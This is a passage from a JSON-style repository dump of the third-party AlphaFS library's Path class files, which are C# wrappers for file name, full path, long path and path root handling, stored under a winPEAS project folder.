defined in <see cref=\"GetInvalidPathChars\"/>.</param>\n      /// <param name=\"checkInvalidPathChars\"><c>true</c> will check <paramref name=\"path\"/> for invalid path characters.</param>\n      [SecurityCritical]\n      public static string GetExtension(string path, bool checkInvalidPathChars)\n      {\n         return GetExtensionCore(path, checkInvalidPathChars);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetFileName.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      #region .NET\n\n      /// <summary>Returns the file name and extension of the specified path string.</summary>\n      /// <returns>\n      ///   The characters after the last directory character in <paramref name=\"path\"/>. If the last character of <paramref name=\"path\"/> is a\n      ///   directory or volume separator character, this method returns <c>string.Empty</c>. If path is null, this method returns null.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"path\">The path string from which to obtain the file name and extension. The path cannot contain any of the characters defined in <see cref=\"GetInvalidPathChars\"/>.</param>\n      [SecurityCritical]\n      public static string GetFileName(string path)\n      {\n         return GetFileNameCore(path, true);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Returns the file name and extension of the specified path string.</summary>\n      /// <returns>\n      ///   The characters after the last directory character in <paramref name=\"path\"/>. If the last character of <paramref name=\"path\"/> is a\n      ///   directory or volume separator character, this method returns <c>string.Empty</c>. If path is null, this method returns null.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"path\">The path string from which to obtain the file name and extension.</param>\n      /// <param name=\"checkInvalidPathChars\"><c>true</c> will check <paramref name=\"path\"/> for invalid path characters.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1062:Validate arguments of public methods\", MessageId = \"0\", Justification = \"Utils.IsNullOrWhiteSpace validates arguments.\")]\n      public static string GetFileName(string path, bool checkInvalidPathChars)\n      {\n         return GetFileNameCore(path, checkInvalidPathChars);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetFileNameWithoutExtension.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      #region .NET\n\n      /// <summary>Returns the file name of the specified path string without the extension.</summary>\n      /// <returns>The string returned by GetFileName, minus the last period (.) and all characters following it.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"path\">The path of the file. The path cannot contain any of the characters defined in <see cref=\"GetInvalidPathChars\"/>.</param>\n      [SecurityCritical]\n      public static string GetFileNameWithoutExtension(string path)\n      {\n         return GetFileNameWithoutExtensionCore(path, true);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Returns the file name of the specified path string without the extension.</summary>\n      /// <returns>The string returned by GetFileName, minus the last period (.) and all characters following it.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"path\">The path of the file. The path cannot contain any of the characters defined in <see cref=\"GetInvalidPathChars\"/>.</param>\n      /// <param name=\"checkInvalidPathChars\"><c>true</c> will check <paramref name=\"path\"/> for invalid path characters.</param>\n      [SecurityCritical]\n      public static string GetFileNameWithoutExtension(string path, bool checkInvalidPathChars)\n      {\n         return GetFileNameWithoutExtensionCore(path, checkInvalidPathChars);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetFinalPathNameByHandle.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Retrieves the final path for the specified file, formatted as <see cref=\"FinalPathFormats\"/>.</summary>\n      /// <returns>The final path as a string.</returns>\n      /// <remarks>\n      ///   A final path is the path that is returned when a path is fully resolved. For example, for a symbolic link named \"C:\\tmp\\mydir\" that\n      ///   points to \"D:\\yourdir\", the final path would be \"D:\\yourdir\".\n      /// </remarks>\n      /// <param name=\"handle\">Then handle to a <see cref=\"SafeFileHandle\"/> instance.</param>\n      [SecurityCritical]\n      public static string GetFinalPathNameByHandle(SafeFileHandle handle)\n      {\n         return GetFinalPathNameByHandleCore(handle, FinalPathFormats.None);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the final path for the specified file, formatted as <see cref=\"FinalPathFormats\"/>.</summary>\n      /// <returns>The final path as a string.</returns>\n      /// <remarks>\n      ///   A final path is the path that is returned when a path is fully resolved. For example, for a symbolic link named \"C:\\tmp\\mydir\" that\n      ///   points to \"D:\\yourdir\", the final path would be \"D:\\yourdir\".\n      /// </remarks>\n      /// <param name=\"handle\">Then handle to a <see cref=\"SafeFileHandle\"/> instance.</param>\n      /// <param name=\"finalPath\">The final path, formatted as <see cref=\"FinalPathFormats\"/></param>\n      [SecurityCritical]\n      public static string GetFinalPathNameByHandle(SafeFileHandle handle, FinalPathFormats finalPath)\n      {\n         return GetFinalPathNameByHandleCore(handle, finalPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetFullPath.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      #region .NET\n\n      /// <summary>Returns the absolute path for the specified path string.</summary>\n      /// <returns>The fully qualified location of path, such as \"C:\\MyFile.txt\".</returns>\n      /// <remarks>\n      /// <para>GetFullPathName merges the name of the current drive and directory with a specified file name to determine the full path and file name of a specified file.</para>\n      /// <para>It also calculates the address of the file name portion of the full path and file name.</para>\n      /// <para>&#160;</para>\n      /// <para>This method does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume.</para>\n      /// <para>The .NET Framework does not support direct access to physical disks through paths that are device names, such as <c>\\\\.\\PhysicalDrive0</c>.</para>\n      /// <para>&#160;</para>\n      /// <para>MSDN: Multithreaded applications and shared library code should not use the GetFullPathName function and</para>\n      /// <para>should avoid using relative path names. The current directory state written by the SetCurrentDirectory function is stored as a global variable in each process,</para>\n      /// <para>therefore multithreaded applications cannot reliably use this value without possible data corruption from other threads that may also be reading or setting this value.</para>\n      /// <para>This limitation also applies to the SetCurrentDirectory and GetCurrentDirectory functions. The exception being when the application is guaranteed to be running in a single thread,</para>\n      /// <para>for example parsing file names from the command line argument string in the main thread prior to creating any additional threads.</para>\n      /// <para>Using relative path names in multithreaded applications or shared library code can yield unpredictable results and is not supported.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"path\">The file or directory for which to obtain absolute path information.</param>\n      [SecurityCritical]\n      public static string GetFullPath(string path)\n      {\n         return GetFullPathCore(null, true, path, GetFullPathOptions.None);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Returns the absolute path for the specified path string.</summary>\n      /// <returns>The fully qualified location of path, such as \"C:\\MyFile.txt\".</returns>\n      /// <remarks>\n      /// <para>GetFullPathName merges the name of the current drive and directory with a specified file name to determine the full path and file name of a specified file.</para>\n      /// <para>It also calculates the address of the file name portion of the full path and file name.</para>\n      /// <para>&#160;</para>\n      /// <para>This method does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume.</para>\n      /// <para>The .NET Framework does not support direct access to physical disks through paths that are device names, such as <c>\\\\.\\PhysicalDrive0</c>.</para>\n      /// <para>&#160;</para>\n      /// <para>MSDN: Multithreaded applications and shared library code should not use the GetFullPathName function and</para>\n      /// <para>should avoid using relative path names. The current directory state written by the SetCurrentDirectory function is stored as a global variable in each process,</para>\n      /// <para>therefore multithreaded applications cannot reliably use this value without possible data corruption from other threads that may also be reading or setting this value.</para>\n      /// <para>This limitation also applies to the SetCurrentDirectory and GetCurrentDirectory functions. The exception being when the application is guaranteed to be running in a single thread,</para>\n      /// <para>for example parsing file names from the command line argument string in the main thread prior to creating any additional threads.</para>\n      /// <para>Using relative path names in multithreaded applications or shared library code can yield unpredictable results and is not supported.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"path\">The file or directory for which to obtain absolute path information.</param>\n      /// <param name=\"options\">Options for controlling the full path retrieval.</param>\n      [SecurityCritical]\n      public static string GetFullPath(string path, GetFullPathOptions options)\n      {\n         return GetFullPathCore(null, true, path, options);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetFullPathTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Returns the absolute path for the specified path string.</summary>\n      /// <returns>The fully qualified location of path, such as \"C:\\MyFile.txt\".</returns>\n      /// <remarks>\n      /// <para>GetFullPathName merges the name of the current drive and directory with a specified file name to determine the full path and file name of a specified file.</para>\n      /// <para>It also calculates the address of the file name portion of the full path and file name.</para>\n      /// <para>&#160;</para>\n      /// <para>This method does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume.</para>\n      /// <para>The .NET Framework does not support direct access to physical disks through paths that are device names, such as <c>\\\\.\\PhysicalDrive0</c>.</para>\n      /// <para>&#160;</para>\n      /// <para>MSDN: Multithreaded applications and shared library code should not use the GetFullPathName function and</para>\n      /// <para>should avoid using relative path names. The current directory state written by the SetCurrentDirectory function is stored as a global variable in each process,</para>\n      /// <para>therefore multithreaded applications cannot reliably use this value without possible data corruption from other threads that may also be reading or setting this value.</para>\n      /// <para>This limitation also applies to the SetCurrentDirectory and GetCurrentDirectory functions. The exception being when the application is guaranteed to be running in a single thread,</para>\n      /// <para>for example parsing file names from the command line argument string in the main thread prior to creating any additional threads.</para>\n      /// <para>Using relative path names in multithreaded applications or shared library code can yield unpredictable results and is not supported.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file or directory for which to obtain absolute path information.</param>\n      [SecurityCritical]\n      public static string GetFullPathTransacted(KernelTransaction transaction, string path)\n      {\n         return GetFullPathCore(transaction, true, path, GetFullPathOptions.None);\n      }\n\n\n      /// <summary>[AlphaFS] Returns the absolute path for the specified path string.</summary>\n      /// <returns>The fully qualified location of path, such as \"C:\\MyFile.txt\".</returns>\n      /// <remarks>\n      /// <para>GetFullPathName merges the name of the current drive and directory with a specified file name to determine the full path and file name of a specified file.</para>\n      /// <para>It also calculates the address of the file name portion of the full path and file name.</para>\n      /// <para>&#160;</para>\n      /// <para>This method does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume.</para>\n      /// <para>The .NET Framework does not support direct access to physical disks through paths that are device names, such as <c>\\\\.\\PhysicalDrive0</c>.</para>\n      /// <para>&#160;</para>\n      /// <para>MSDN: Multithreaded applications and shared library code should not use the GetFullPathName function and</para>\n      /// <para>should avoid using relative path names. The current directory state written by the SetCurrentDirectory function is stored as a global variable in each process,</para>\n      /// <para>therefore multithreaded applications cannot reliably use this value without possible data corruption from other threads that may also be reading or setting this value.</para>\n      /// <para>This limitation also applies to the SetCurrentDirectory and GetCurrentDirectory functions. The exception being when the application is guaranteed to be running in a single thread,</para>\n      /// <para>for example parsing file names from the command line argument string in the main thread prior to creating any additional threads.</para>\n      /// <para>Using relative path names in multithreaded applications or shared library code can yield unpredictable results and is not supported.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file or directory for which to obtain absolute path information.</param>\n      /// <param name=\"options\">Options for controlling the full path retrieval.</param>\n      [SecurityCritical]\n      public static string GetFullPathTransacted(KernelTransaction transaction, string path, GetFullPathOptions options)\n      {\n         return GetFullPathCore(transaction, true, path, options);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetInvalidFileNameChars.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      #region .NET\n\n      /// <summary>Gets an array containing the characters that are not allowed in file names.</summary>\n      /// <returns>An array containing the characters that are not allowed in file names.</returns>\n      [SecurityCritical]\n      public static char[] GetInvalidFileNameChars()\n      {\n         return System.IO.Path.GetInvalidFileNameChars();\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetInvalidPathChars.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      #region .NET\n\n      /// <summary>Gets an array containing the characters that are not allowed in path names.</summary>\n      /// <returns>An array containing the characters that are not allowed in path names.</returns>\n      [SecurityCritical]\n      public static char[] GetInvalidPathChars()\n      {\n         return System.IO.Path.GetInvalidPathChars();\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetLongFrom83ShortPath.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Converts the specified existing path to its regular long form.</summary>\n      /// <returns>The regular full path.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">An existing path to a folder or file.</param>\n      [SecurityCritical]\n      public static string GetLongFrom83ShortPath(string path)\n      {\n         return GetLongShort83PathCore(null, path, false);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetLongFrom83ShortPathTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Converts the specified existing path to its regular long form.</summary>\n      /// <returns>The regular full path.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">An existing path to a folder or file.</param>\n      [SecurityCritical]\n      public static string GetLongFrom83ShortPathTransacted(KernelTransaction transaction, string path)\n      {\n         return GetLongShort83PathCore(transaction, path, false);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetLongPath.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Makes an extended long path from the specified <paramref name=\"path\"/> by prefixing <see cref=\"LongPathPrefix\"/>.</summary>\n      /// <returns>The <paramref name=\"path\"/> prefixed with a <see cref=\"LongPathPrefix\"/>, the minimum required full path is: \"C:\\\".</returns>\n      /// <remarks>This method does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume.</remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"path\">The path to the file or directory, this can also be an UNC path.</param>\n      [SecurityCritical]\n      public static string GetLongPath(string path)\n      {\n         return GetLongPathCore(path, GetFullPathOptions.None);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetPathRoot.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      #region .NET\n\n      /// <summary>Gets the root directory information of the specified path.</summary>\n      /// <returns>\n      ///   Returns the root directory of <paramref name=\"path\"/>, such as \"C:\\\",\n      ///   or <c>null</c> if <paramref name=\"path\"/> is <c>null</c>,\n      ///   or an empty string if <paramref name=\"path\"/> does not contain root directory information.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"path\">The path from which to obtain root directory information.</param>\n      [SecurityCritical]\n      public static string GetPathRoot(string path)\n      {\n         return GetPathRootCore(path, true);\n      }\n\n      #endregion // .NET\n\n\n      /// 